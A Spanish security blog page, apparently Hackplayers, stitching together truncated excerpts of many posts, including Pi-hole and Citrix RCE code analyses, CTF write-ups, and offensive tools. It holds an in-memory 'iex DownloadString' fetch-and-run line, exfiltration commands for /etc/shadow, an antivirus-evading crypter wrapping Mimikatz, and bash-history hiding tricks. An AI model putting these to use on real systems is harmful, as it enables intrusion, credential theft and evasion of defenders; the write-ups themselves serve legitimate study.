Ejecución remota de código en Pi-hole (CVE-2020-8816)

Hoy leía acerca de una vulnerabilidad de RCE en Pi-hole 4.3.2 y anteriores (CVE-2020-8816) bastante curiosa por la manera de explotarse, veamos...
La vulnerabilidad no es que sea muy crítica porque para poder ejecutar código necesitaremos primero un usuario web ya que el fallo se encuentra en la parte de la configuración de reservas DHCP:


Lo lógico ahí es poner una dirección MAC con formato 'aaaaaaaaaaaa' al que se le asignará la IP del pool que queramos. Pero veamos el código de savesettings.php:
<?php
/* Pi-hole: A black hole for Internet advertisements
*  (c) 2017 Pi-hole, LLC (https://pi-hole.net)
*  Network-wide ad blocking via your own hardware.
*
*  This file is copyright under the latest version of the EUPL.
*  Please see LICENSE file for your rights under this license. */
 
if(basename($_SERVER['SCRIPT_FILENAME']) !== "settings.php")
{
    die("Direct access to this script is forbidden!");
}
 
//[...]
 
function validMAC($mac_addr)
{
  // Accepted input format: 00:01:02:1A:5F:FF (characters may be lower case)
  return (preg_match('/([a-fA-F0-9]{2}[:]?){6}/', $mac_addr) == 1);
}
 
 
//[...]
 
    // Read available adlists
    $adlist = readAdlists();
    // Read available DNS server list
    $DNSserverslist = readDNSserversList();
 
    $error = "";
    $success = "";
 
    if(isset($_POST["field"]))
    {
        // Handle CSRF
        check_csrf(isset($_POST["token"]) ? $_POST["token"] : "");
 
        // Process request
        switch ($_POST["field"]) {
             
//[...]
         
            case "DHCP":
 
                if(isset($_POST["addstatic"]))
                {
                    $mac = $_POST["AddMAC"];
                    $ip = $_POST["AddIP"];
                    $hostname = $_POST["AddHostname"];
 
                    if(!validMAC($mac))
                    {
                        $error .= "MAC address (".htmlspecialchars($mac).") is invalid!<br>";
                    }
                    $mac = strtoupper($mac);
 
                    if(!validIP($ip) && strlen($ip) > 0)
                    {
                        $error .= "IP address (".htmlspecialchars($ip).") is invalid!<br>";
                    }
 
                    if(!validDomain($hostname) && strlen($hostname) > 0)
                    {
                        $error .= "Host name (".htmlspecialchars($hostname).") is invalid!<br>";
                    }
 
                    if(strlen($hostname) == 0 && strlen($ip) == 0)
                    {
                        $error .= "You can not omit both the IP address and the host name!<br>";
                    }
 
                    if(strlen($hostname) == 0)
                        $hostname = "nohost";
 
                    if(strlen($ip) == 0)
                        $ip = "noip";
 
                    // Test if this lease is already included
                    readStaticLeasesFile();
                    foreach($dhcp_static_leases as $lease) {
                        if($lease["hwaddr"] === $mac)
                        {
                            $error .= "Static release for MAC address (".htmlspecialchars($mac).") already defined!<br>";
                            break;
                        }
                        if($ip !== "noip" && $lease["IP"] === $ip)
                        {
                            $error .= "Static lease for IP address (".htmlspecialchars($ip).") already defined!<br>";
                            break;
                        }
                        if($lease["host"] === $hostname)
                        {
                            $error .= "Static lease for hostname (".htmlspecialchars($hostname).") already defined!<br>";
                            break;
                        }
                    }
 
                    if(!strlen($error))
                    {
                        exec("sudo pihole -a addstaticdhcp ".$mac." ".$ip." ".$hostname);
                        $success .= "A new static address has been added";
                    }
                    break;
                }
 
                if(isset($_POST["removestatic"]))
                {
                    $mac = $_POST["removestatic"];
                    if(!validMAC($mac))
                    {
                        $error .= "MAC address (".htmlspecialchars($mac).") is invalid!<br>";
                    }
                    $mac = strtoupper($mac);
 
                    if(!strlen($error))
                    {
                        exec("sudo pihole -a removestaticdhcp ".$mac);
                        $success .= "The static address with MAC address ".htmlspecialchars($mac)." has been removed";
                    }
                    break;
                }
 
                 
 
//[...]
 
            default:
                // Option not found
                $debug = true;
                break;
        }
    }
 
//[...]

Inyección de código en imágenes subidas y tratadas con PHP-GD

Actualmente la mayoría de las aplicaciones web que nos permiten subir imágenes recrean las mismas por seguridad. Esto hace por ejemplo inútil inyectar código PHP en los metadatos exif de la imagen ya que el servidor los borrará (muchas veces con la librería PHP-GD). Sin embargo, existen algunas formas de inyectar código PHP directamente en imágenes como se puede ver en los siguientes enlaces:

https://github.com/fakhrizulkifli/Defeating-PHP-GD-imagecreatefromjpeg
https://github.com/fakhrizulkifli/Defeating-PHP-GD-imagecreatefromgif
https://secgeek.net/bookfresh-vulnerability/

Aunque si le habéis echado un vistazo a esos enlaces podréis comprobar que se pueden inyectar pocos caracteres.

Al hilo de esto, tenemos una interesante herramienta de Dylan Leggio (dlegs), un ingeniero de seguridad de Brooklyn:

https://github.com/dlegs/php-jpeg-injector

Para usar esta herramienta tendremos primero que recrear una imagen jpg con php-gd y luego inyectar el payload con el script gd-jpeg.py.

$ file poc.jpg
poc.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 512x512, frames 3

Para el primer paso usamos este mismo código:
<?php
$jpg = imagecreatefromjpeg('poc.jpg');
imagejpeg($jpg, 'exploit.jpg');
?>

Mi experiencia con el OSCE: Opinión honesta, no mártir edition


Hola estimados humanoides que pululan por Hackplayers, soy Borch y vengo a hablaros del OSCE y mi experiencia con el mismo. El primer disclaimer lo hago desde ya, esta opinión es a todas luces, tirarme piedras a mi propio tejado. Es que probable que éste no sea el artículo que estás buscando; es más, ni soy excepcionalmente inteligente, ni tengo 0days, ni se usar regex sin buscar en Google (lo siento wint3r). Tampoco he luchado contra leones mientras me sacaba la cert, ni me levantaba a las 4 para viajar 3 horas, estudiar de camino y alimentar a mi hambrienta familia (con los leones de antes). Una persona normal (bueh) con un poco de ganas (y tampoco tantas) por un nuevo reto y nada más.

Es un examen y nada más. No nos flipemos.
Todo comenzó un fatídico día de yo que sé, Septiembre. Quería profundizar en el tema y ya tenía el flamante (y sobrevalorado) OSCP desde hace un año y pico (que suspendí las dos primeras veces), leí un par de opiniones y ... ¡no pintaba mal! Me lié la manta a la cabeza (y mi jefe me animó a ello, gracias Rod!) y me apunté para empezarlo a finales de Noviembre. En ese transcurso, un crisol de sentimientos encontrados salieron a flote como submarino alemán U-boot: una mezcla entre ignorancia, ganas y estrés se apoderaron de mí, momento en el cuál me di cuenta del atolladero en el que me encontraba, la realidad era que la última vez que había visto algo de exploiting fue con un par de ROPs tontos y poco más, así que decidí que investigar por libre antes del lab sería una buena idea. Ahí me topé con Ramachandran, alias el colegui de Pentesteracademy y su certificación/curso/comoqueraisllamarlo: SLAE 32. Un contenido de fruta madre que se divide en dos partes:
- Ensamblador 101 (en esta parte estaba menos verde de lo que pensaba, lo cual fue un alivio)
- Shellcoding
Desgraciadamente, la primera parte es una chapa impresionante, podéis poner los videos a 1.25 1.5 si queréis porque el colega va a su ritmo a veces, viene bien si pensáis que sois unos paquetes para repasar conceptos. La segunda parte es harina de otro costal... haces stubs, encoders y empiezas a sentirte el jodido Kevin Mitnick. Total, que lo hagáis si queréis, yo lo hice y lo recomiendo muchísimo.

lollipopz: utilidad para probar distintas técnicas de exfiltración de datos

Lollipoz es una simple pero útil herramienta para probar la detección de distintas técnicas para exfiltración de información, por supuesto siempre para tests legales ;)


Instalación

$ git clone https://github.com/tasooshi/lollipopz.git
$ cd lollipopz
$ pip install -r requirements.txt


/etc/shadow -> HTTP GET requests

Server

# ./lollipopz-cli.py -m lollipopz.methods.http.param_cipher.GETServer -lp 80 -o output.log

Client

$ ./lollipopz-cli.py -m lollipopz.methods.http.param_cipher.GETClient -rh 127.0.0.1 -rp 80 -i ./samples/shadow.txt -r

/etc/shadow -> HTTP POST requests

Server

# ./lollipopz-cli.py -m lollipopz.methods.http.param_cipher.POSTServer -lp 80 -o output.log

Client

$ ./lollipopz-cli.py -m lollipopz.methods.http.param_cipher.POSTClient -rh 127.0.0.1 -rp 80 -i ./samples/shadow.txt -r

PII -> PNG embedded in HTTP Response

Server

$ ./lollipopz-cli.py -m lollipopz.methods.http.image_response.Server -lp 37650 -o output.log

Client

# ./lollipopz-cli.py -m lollipopz.methods.http.image_response.Client -rh 127.0.0.1 -rp 37650 -lp 80 -i ./samples/pii.txt -r

PII -> DNS subdomains querying

Server

# ./lollipopz-cli.py -m lollipopz.methods.dns.subdomain_cipher.Server -lp 53 -o output.log

Client

$ ./lollipopz-cli.py -m lollipopz.methods.dns.subdomain_cipher.Client -rh 127.0.0.1 -rp 53 -i ./samples/pii.txt -r

SearchOrg: script para obtener información de empresas mediante su dominio

En las fases iniciales de los procesos de pentesting es fundamental obtener la mayor información posible de la empresa que se esta analizando, para esto existen múltiples herramientas y metodologías. SearchOrg es una herramienta que busca integrar algunas técnicas pasivas y otras activas para obtener información de una empresa usando su dominio de correo electrónico.

El programa solicita que indicar un dominio para extraer:
  • Registros MX del DNS
  • Registros TXT del DNS y con ésto conocer los controles a los correos.
  • Usando el dominio y una lista de subdominios habituales, se obtiene mediante NMAP los servicios y versiones disponibles en los equipos.
  • Usando las IP’s detectadas se usa la API de Shodan, para detectar vulnerabilidades reportadas en las IPs que se hayan cargado a Shodan.
  • Con el nombre del dominio, se hace una búsqueda por organización en Shodan para, usando el mecanismo de agrupamiento (facets), poder mostrar el top 10 de:
    • Puertos
    • Sistemas Operativos
    • Vulnerabilidades reportadas
    • Dominios
    • Versiones de SSL
La herramienta está escrita en Python y la podéis encontrar publicada en GitHub. Una vez clonada e instalados los requisitos, se debe cargar en el archivo la APIKey de Shodan, que no requiere ser de pago, sino
que se puede usar la versión gratuita.


Una vez termina de ejecutarse crea un archivo llamado report.txt donde se almacenan los datos mostrados en pantalla.

Proyecto : https://github.com/dsespitia/SearchOrg

Contribución gracias a Diego Samuel Espitia Montenegro aka @dsespitia, CSA de ElevenPaths.

Metabigor, una herramienta para hacer OSINT y más sin necesidad de API keys

Metabigor es una herramienta de inteligencia, su objetivo es realizar tareas OSINT y algunas otras más pero sin ninguna clave API. Por el momento sus principales características son:

- Descubrir la dirección IP del objetivo.
- Wrapper para ejecutar masscan y nmap en la IP objetivo.
- Realizar búsquedas desde la línea de comandos en algún motor de búsqueda.
Comandos de ejemplo:
# descubrir las ips de una compañía/organización
echo "company" | metabigor net --org -o /tmp/result.txt

# descubrir IPs de un ASN
echo "ASN1111" | metabigor net --asn -o /tmp/result.txt
cat list_of_ASNs | metabigor net --asn -o /tmp/result.txt

# ejecutar masscan en el puerto 443 de una subred
echo "1.2.3.4/24" | metabigor scan -p 443 -o /tmp/result.txt

# ejecutar masscan en todos los puertos y nmap en los puertos abiertos
cat list_of_IPs | metabigor scan --detail -o /tmp/result.txt

# buscar los resultados en fofa
echo 'title="RabbitMQ Management"' | metabigor search -x -v -o /tmp/result.txt

Proyecto: https://github.com/j3ssie/metabigor

Solución al reto 31: hc0n Christmas CTF

El reto está disponible en la plataforma tryhackme:

https://tryhackme.com/room/hc0nchristmasctf


Primero escaneamos los puertos:

nmap -sT --max-retries 1 10.10.119.56 -F

Cuando hay first blood hacemos escaneo rápido con -F (top 100 puertos) para ir dándole a algo mientras dejamos un escaneo de todos los puertos con la opción -p-. En este caso no sale ningún puerto más de los que obtenemos con el comando anterior.


Empezamos buscando directorios en la web del puerto 80, para ello usamos ffuf que vuela!

https://github.com/ffuf/ffuf

ffuf -t 100 -u http://10.10.119.56/FUZZ -w /usr/share/wordlists/raft-large-files.txt -fc 403


El fichero robots.txt nos da varias pistas que usaremos más adelante.

RedRabbit - PowerShell ofensivo

RedRabbit es el par de BlueRabbit pero con scripts más ofensivos, creado para facilitar el reconocimiento y pentesting. Lo ideal es ejecutarlo en memoria lo que además nos permitirá tener siempre la última versión disponible:

powershhttps://github.com/securethelogs/RedRabbitell –nop –c "iex(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/securethelogs/RedRabbit/master/redrabbit.ps1')"


Las opciones disponibles son:

Opción 1: Reconocimiento rápido

Reconocimiento rápido mostrará detalles sobre el usuario, grupos, host y red. En orden:
  •     Usuario de listas
  •     Host de listas
  •     Enumera las interfaces de red
  •     Listas de grupos de usuarios (inc inc.)
  •     Muestra privilegios
  •     Enumera administradores locales
  •     Listas de usuarios locales
  •     Enumera usuarios registrados actualmente
  •     Muestra programas instalados
  •     Pruebas si se puede acceder a Internet
  •     Muestra las reglas locales de firewall

Satellite: sirviendo payloads "like a sir"

Satellite es un servidor que aloja payloads y que filtra las peticiones para garantizar que cada objetivo obtenga el más adecuado. Se trata de una alternativa a Apache y Nginx para alojar payloads, así como una alternativa a Caddy para la redirección de tráfico C2.

Está escrito en Go e implementa un proxy HTTP y un servidor JA3 basado en CapacitorSet, es capaz de filtrar el tráfico en función de la cantidad de veces que se ha servido un payload, tiene en cuenta los agentes de usuario, las firmas JA3, paths de prerequisitos y más.

Características destacadas

- Entrega de payloads basada en firmas JA3
- Tiempo de vida de payloads configurable
- Redirección de tráfico C2 (proxy)
- Posibilidad de "scriptear" las peticiones
- Facilidad en la captura de credenciales
- Filtrado global de peticiones

Instalación

Para probarlo en mi caso lo instalaré en Ubuntu aunque podeis encontrar instrucciones de instalación para otras plataformas en la Wiki del proyecto.  https://github.com/t94j0/satellite/wiki/Installation

Simplemente descargamos el paquete correspondiente y lo instalamos:
$ wget https://github.com/t94j0/satellite/releases/download/v0.0.1/satellite_0.0.1_linux_amd64.deb
$ sudo dpkg -i satellite_0.0.1_linux_amd64.deb

Configuración del servidor

Las rutas que Satellite buscará para cargar la configuración son las siguientes:

    $HOME/.config/satellite/config.yml
    $HOME/.satellite/config.yml
    /etc/satellite/config.yml

El "brazalete del silencio" contra Siri, Alexa y demás micrófonos "inteligentes"

Por diseño, los teléfonos y altavoces inteligentes tienen micrófonos que siempre están encendidos y escuchan las llamadas palabras de activación como "Alexa", "Hey, Siri" u "OK, Google". Solo después de escuchar esa señal se supone que deben comenzar a grabar. Pero sólo "se supone"... y no nos referimos sólo a que se pueda espiar de forma intencionada: varios estudios ya han demostrado que los dispositivos se activan docenas de veces diariamente y comienzan a grabar después de escuchar frases similares a sus palabras de activación, sobretodo a través de la TV, la radio u otras conversaciones.

Heather Zheng y Ben Zhao, profesores de informática en la Universidad de Chicago, junto con el profesor asistente Pedro Lopes han diseñado un "brazalete de silencio" o jammer que bloquea Amazon Echo o cualquier otro micrófono cercano que pueda escuchar las conversaciones del usuario.

El brazalete tiene 24 altavoces que emiten señales ultrasónicas cuando el usuario lo enciende. El sonido es imperceptible para la mayoría de los oídos, con la posible excepción de los más jóvenes y los perros, pero los micrófonos cercanos detectarán el sonido de alta frecuencia en lugar de otros ruidos.

"Es muy fácil grabar en estos días", dijo Lopes. “Esta es una defensa útil. Cuando tenga algo privado que decir, puede activarlo en tiempo real. Cuando reproduzcan la grabación, el sonido desaparecerá".

Durante la PoC, podemos observar como al encender el brazalete se genera un ruido blanco estático que enmascara las conversaciones:


Por el momento, el brazalete es solo un prototipo. Los investigadores dicen que podrían fabricarlo por tan solo $20 y un puñado de inversores ya han preguntado sobre su comercialización.

Habrá que estar pendientes.. ;)

Fuente: https://www.nytimes.com/2020/02/14/technology/alexa-jamming-bracelet-privacy-armor.html

Comparativa de herramientas de enumeración de subdominios

Hoy os traemos una interesante comparativa del italiano Ricardo Iramar con diversas herramientas de enumeración de subdominios:
La máquina usada para las pruebas fue una VM en VirtualBox con la instalación mínima de Ubuntu 18.04 LTS (64 bits). Todas las herramientas se instalaron siguiendo el procedimiento estándar proporcionado por la documentación oficial correspondiente y se ejecutaron con las opciones predeterminadas para realizar una comparación lo más justa posible. El dominio para las pruebas fue spotify.com y después de la ejecución de cada herramienta los subdominios encontrados se filtraron con:

while read i; do digout=$(dig +short ${i//[$'\t\r\n ']}); if [[ ! -z $digout ]]; then echo ${i//[$'\t\r\n ']}; fi; done < spotify.com.txt > spotify.com_valid.txt

Y estos fueron los resultados:


Amass pudo encontrar 489 subdominios válidos, casi el doble que la del segundo lugar Sublist3r (280 subdominios válidos). Pero, por otro lado, Amass fue la herramienta más lenta ya que tardó alrededor de 20 minutos en terminar (0.4 subdominios por segundo).

La herramienta más rápida fue Findomain que pudo encontrar 270 subdominios y tardó solo 6 segundos (casi 46 subdominios por segundo).

Como veis la herramienta Sudomy no funcionó correctamente a Ricardo, no se exactamente por qué razón. Nosotros la hemos ejecutado sin problemas y los resultados fueron 727 subdominios, de los cuales 210 fueron válidos, todo ello en 2 minutos y 38 segundos.

Finalmente en el enlace https://drive.google.com/open?id=1vc-5INapxD909GGUROcb86I_vdufS1Ha se puede encontrar una hoja de cálculo con los resultados completos y el resultado de cada herramienta utilizada durante la evaluación.

FuenteSubdomain Enumeration Tools Evaluation

Xencrypt: un crypter en PowerShell

Xencrypt de Xentropy (@SamuelAnttila) y SecForce (@SECFORCE_LTD) es un crypter en PowerShell que utiliza cifrado AES y compresión Gzip/DEFLATE para generar con cada ejecución una cantidad casi infinita de variantes para bypassear antivirus. Lo hace comprimiendo y cifrando el script de entrada y almacenando los datos como un payload en un nuevo script que descifrará y descomprimirá antes de ejecutarlo. En esencia, es para PowerShell lo que es un crypter PE.
 

Características

- Evade AMSI y todos los AV modernos de VirusTotal (en el momento de escribir este post)
- Comprime y cifra los scripts de PowerShell
- Tiene un overhead mínimo y a menudo incluso negativo (gracias a la compresión)
- Aleatoriza nombres de variables para ofuscar aún más el código auxiliar de descifrado
- Aleatoriza el cifrado, la compresión e incluso el orden en que aparecen las declaraciones en el código para obtener la máxima entropía
- Súper fácil de modificar para crear una variante propia de cifrado
- Admite capas recursivas (crypter que cifra la salida cifrada...), probado hasta 500 capas.
- Admite Import-Module así como la ejecución normal siempre que el script de entrada también lo admita

Uso

Import-Module ./xencrypt.ps1
Invoke-Xencrypt -InFile invoke-mimikatz.ps1 -OutFile xenmimi.ps1


Ahora tendremos un archivo cifrado xenmimi.ps1 en el directorio de trabajo actual y podremos usarlo de la misma manera que lo haríamos con el script original, por lo que en este caso:

Import-Module ./xenmimi.ps1
Invoke-Mimikatz


También admite capas recursivas a través del parámetro -Iterations.

Invoke-Xencrypt -InFile invoke-mimikatz.ps1 -OutFile xenmimi.ps1 -Iterations 100
 
Esto lo comprimirá y cifrará 100 veces y es útil para bypassear AV dinámicos porque tienen un tiempo de espera para analizar el código. Ahí no hace falta usar sleeps que algunos escaneos dinámicos puede omitir para llegar al final: tienen que atravesar toda la cadena para llegar al payload malicioso, lo que generalmente nunca ocurre, ya que normalmente caducan después de un segundo o dos o escaneo.

Sin embargo, los archivos pueden crecer en tamaño y generar el archivo de salida puede llevar mucho tiempo dependiendo de los scripts y el número de iteraciones solicitadas.

Proyecto: https://github.com/the-xentropy/xencrypt

#hc0n2020 : Crónica de la tercera conferencia de @Hackplayers

Logo h-c0n 2020
La tercera edición de nuestra conferencia h-c0n tuvo lugar los pasados 31 de enero y 1 de febrero y, como en las veces anteriores, voy a dar un repaso bastante informal y prácticamente gráfico a mis reflexiones ahora que todavía lo tengo reciente (y aún mantengo las agujetas cab**nes).

Ya sabéis que el escenario este año fue la Nave Madrid, una antigua fábrica de ascensores reconvertida a un sitio chulo y muy JRANDEEE para eventos. Nos acordaremos eso sí de su equipo gestor que nos mantuvo en vilo con algunas "cosillas" y sobretodo con la reserva de las aulas hasta el último momento, resarcidos sin embargo finalmente por dejarnos llevar grifos de cerveza a la cafetería :P

A izda. miembro de staff al borde de un ataque por la incertidumbre. A dcha. cervecería cafetería.

En cuanto a contenidos ya sabéis que nos venimos arriba y tuvimos cuatro tracks simultáneos (dos de charlas y dos de talleres), un ctf presencial, expositores, arsenal y una zona para otras comunidades y congresos. Os puedo asegurar que organizarnos en el staff para cubrir todo eso fue un auténtico desafío.

Write-up CTF NFC h-c0n 2020

Para resolver este reto hará falta hardware especial capaz de leer la tecnología NFC de las tarjetas que llevan las acreditaciones de acceso al evento de la h-c0n 2020 de Hackplayers. Es posible utilizar diferentes tipos de hardware tales como un dispositivo usb ya sea con chipset ACR122U o como en este write-up que se ha utilizado un dispositivo Proxmark3.

1. Identificando el tipo de tarjeta NFC

Lo primero es identificar el tipo de tarjeta. Lanzando comandos como “lf search” o “hf search” enseguida vemos que se trata de una tarjeta de alta frecuencia (hf – high frequency) de tipo Mifare Classic 1k.


Vemos que tiene el UID AB 1D A2 24. Aunque para la resolución del reto no es relevante. Todas las acreditaciones tienen los mismos datos y el mismo UID.

2. Lectura por defecto de los sectores

Ahora lanzaremos un comando para ver si podemos leer todos los sectores. “hf mf chk *1 ?”


Como podemos observar en la columna res, todo lo que está con el valor “1” es que se ha podido leer porque tenía una clave muy estándar como es el caso de la key ffffffffffff o aabbccddeeff y lo que está con “0” no se ha podido leer porque tiene una clave que no es estándar. Por lo que hemos podido leer todo a excepción de los sectores 002, 012 y 013 de la sección A de la tarjeta.

Métodos para ocultar el historial de bash

Bash mantiene el listado de comandos que se están ejecutando en memoria y que se escriben en $HISTFILE (~/.bash_history) cuando un usuario cierra la sesión.
$ echo $HISTFILE
/home/usuario/.bash_history
Hoy recopilamos un cheatsheet de secbytes en el que recogen un buen número de métodos que un atacante puede utilizar para que sus comandos no queden almacenados, tanto en memoria como en disco.

Poniendo un espacio antes de cada comando

Es posible que no esté habilitado de forma predeterminada en algunas distribuciones pero, en la mayoría, si ponemos antes de cada comando un espacio el mismo no se almacenará en el historial:
$ echo "hello"
hello
$  echo "ritsec"
ritsec
$ history 
    1  ls
    2  echo "hello"
    3  history 

Observad que el comando $echo "hola" se guardó el historial a diferencia del $echo "ritsec". Eso es posible debido a la variable de entorno HISTCONTROL:
$ head -2 /etc/os-release
 NAME="Ubuntu" 
 VERSION="18.04.3 LTS (Bionic Beaver)" 
$ echo $HISTCONTROL
 ignoredups:ignorespace

[HTB-writeup] Player


Comencemos con un poco de escaneo:
nmap 10.10.10.145 -sC -sV -n -Pn -p- -oA nmap.tcp
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 d7:30:db:b9:a0:4c:79:94:78:38:b3:43:a2:50:55:81 (DSA)
|   2048 37:2b:e4:31:ee:a6:49:0d:9f:e7:e6:01:e6:3e:0a:66 (RSA)
|   256 0c:6c:05:ed:ad:f1:75:e8:02:e4:d2:27:3e:3a:19:8f (ECDSA)
|_  256 11:b8:db:f3:cc:29:08:4a:49:ce:bf:91:73:40:a2:80 (ED25519)
80/tcp   open  http    Apache httpd 2.4.7
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: 403 Forbidden
6686/tcp open  ssh     OpenSSH 7.2 (protocol 2.0)
Service Info: Host: player.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

(Se ha omitido UDP por no haber devuelto resultados interesantes).

Antes de continuar, añadiremos player.htb a /etc/hosts para facilitar la enumeración.

Tras un vistazo rápido al puerto 80:

Por lo que vamos a intentar encontrar hosts virtuales:
wfuzz -c -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-20000.txt --hc 400,404,403 -H "Host: FUZZ.player.htb" -u http://player.htb -t 100
********************************************************
* Wfuzz 2.4 - The Web Fuzzer                           *
********************************************************

Target: http://player.htb/
Total requests: 19983

===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                                                                                           
===================================================================

000000019:   200        86 L     229 W    5243 Ch     "dev"                                                                                                                                             
000000067:   200        63 L     180 W    1470 Ch     "staging"                                                                                                                                         
000000070:   200        259 L    714 W    9513 Ch     "chat" 

Tras añadir los resultados a /etc/hosts podemos hacer un poco de fuzzing en la URL principal y en los vhost dev, staging y chat:
gobuster dir -r -x php -t 100 -u http://player.htb -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
gobuster dir -r -x php -t 100 -u http://dev.player.htb -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
gobuster dir -r -x php -t 100 -u http://staging.player.htb -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
gobuster dir -r -x php -t 100 -u http://chat.player.htb -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt

Como ya sabemos, la enumeración es importantísima para una futura explotación, por lo que vamos a ir anotando todo lo que nos vaya llamando la atención.

RCE no autenticado en Citrix Netscaler y Gateway (CVE-2019-19781)

El 17 de Diciembre de 2019, Citrix anunció que NetScaler ADC (Application Delivery Controller) y Citrix Gateway tenían una vulnerabilidad que puede permitir a un atacante no autenticado ejecutar código en gateways vulnerables.

Esto condujo a una ola de titulares alarmantes sobre "80.000 empresas" expuestas debido a esta fallo. Lo más interesante es que Citrix no publicó un parche sino un workaround que, básicamente, añade una política para denegar estas peticiones:
enable ns feature responder
add responder action respondwith403 respondwith "\"HTTP/1.1 403 Forbidden\r\n\r\n\""
add responder policy ctx267027 "HTTP.REQ.URL.DECODE_USING_TEXT_MODE.CONTAINS(\"/vpns/\") && (!CLIENT.SSLVPN.IS_SSLVPN || HTTP.REQ.URL.DECODE_USING_TEXT_MODE.CONTAINS(\"/../\"))" respondwith403
bind responder global ctx267027 1 END -type REQ_OVERRIDE
save config

Como podéis comprobar, una regla para bloquear intentos de explotar path traversal... ¿Y cómo se consigue ejecución remota de código a través de este path traversal?

El 10 de enero, Rio Sherri, consultor de seguridad de MDSec, publicó un post destacando el código en la función 'csd' del módulo perl UserPrefs que "construye una ruta desde el encabezado HTTP NSC_USER sin ningún tipo de sanitización" y se activará con cualquier script que llame a la función:
sub csd {
        my $self = shift;
        my $skip_read = shift || "";
  # Santity Check
    my $cgi = new CGI;
print "Content-type: text/html\n\n";

// Username variable initialized by the NSC_USER HTTP Header
    my $username = Encode::decode('utf8', $ENV{'HTTP_NSC_USER'}) || errorpage("Missing NSC_USER header.”); <- br="" mark="" this="">
    $self->{username} = $username;
...
    $self->{session} = %session;

// Constructing the path from the username.
        $self->{filename} = NetScaler::Portal::Config::c->{bookmark_dir} . Encode::encode('utf8', $username) . '.xml’;
        if($skip_read eq 1) {
                return;
        }

BusKill: un cable USB contra los "tirones" de portátil

Imagina que estás en una cafetería con tu portátil, en la página de tu banco o en otro servicio importante, y de repente alguien coge tu portátil y sale corriendo... ¿qué pasaría si ese alguien se aprovechara de que estabas autenticado para realizar cualquier acción rápidamente?

Quizás no te diera tiempo a llamar al banco para que congelaran tus cuentas, o avisar a tu empresa para forzar un logout, etc.

Pues leyendo encontré una solución bastante original para bloquear, apagar o "autodestruir" el ordenador cuando está físicamente separado de uno mismo: BusKill.

Se trata de un cable USB conectado al equipo y alguna parte del cuerpo (la muñeca por ejemplo, que os veo venir) y que al tirar y desconectarse realice esa acción inmediata que nos salve el culo. Esto se puede mejorar aún más utilizando un conector magnético. Por ejemplo, los siguientes elementos son suficientes para construir este cable USB de "interrupción":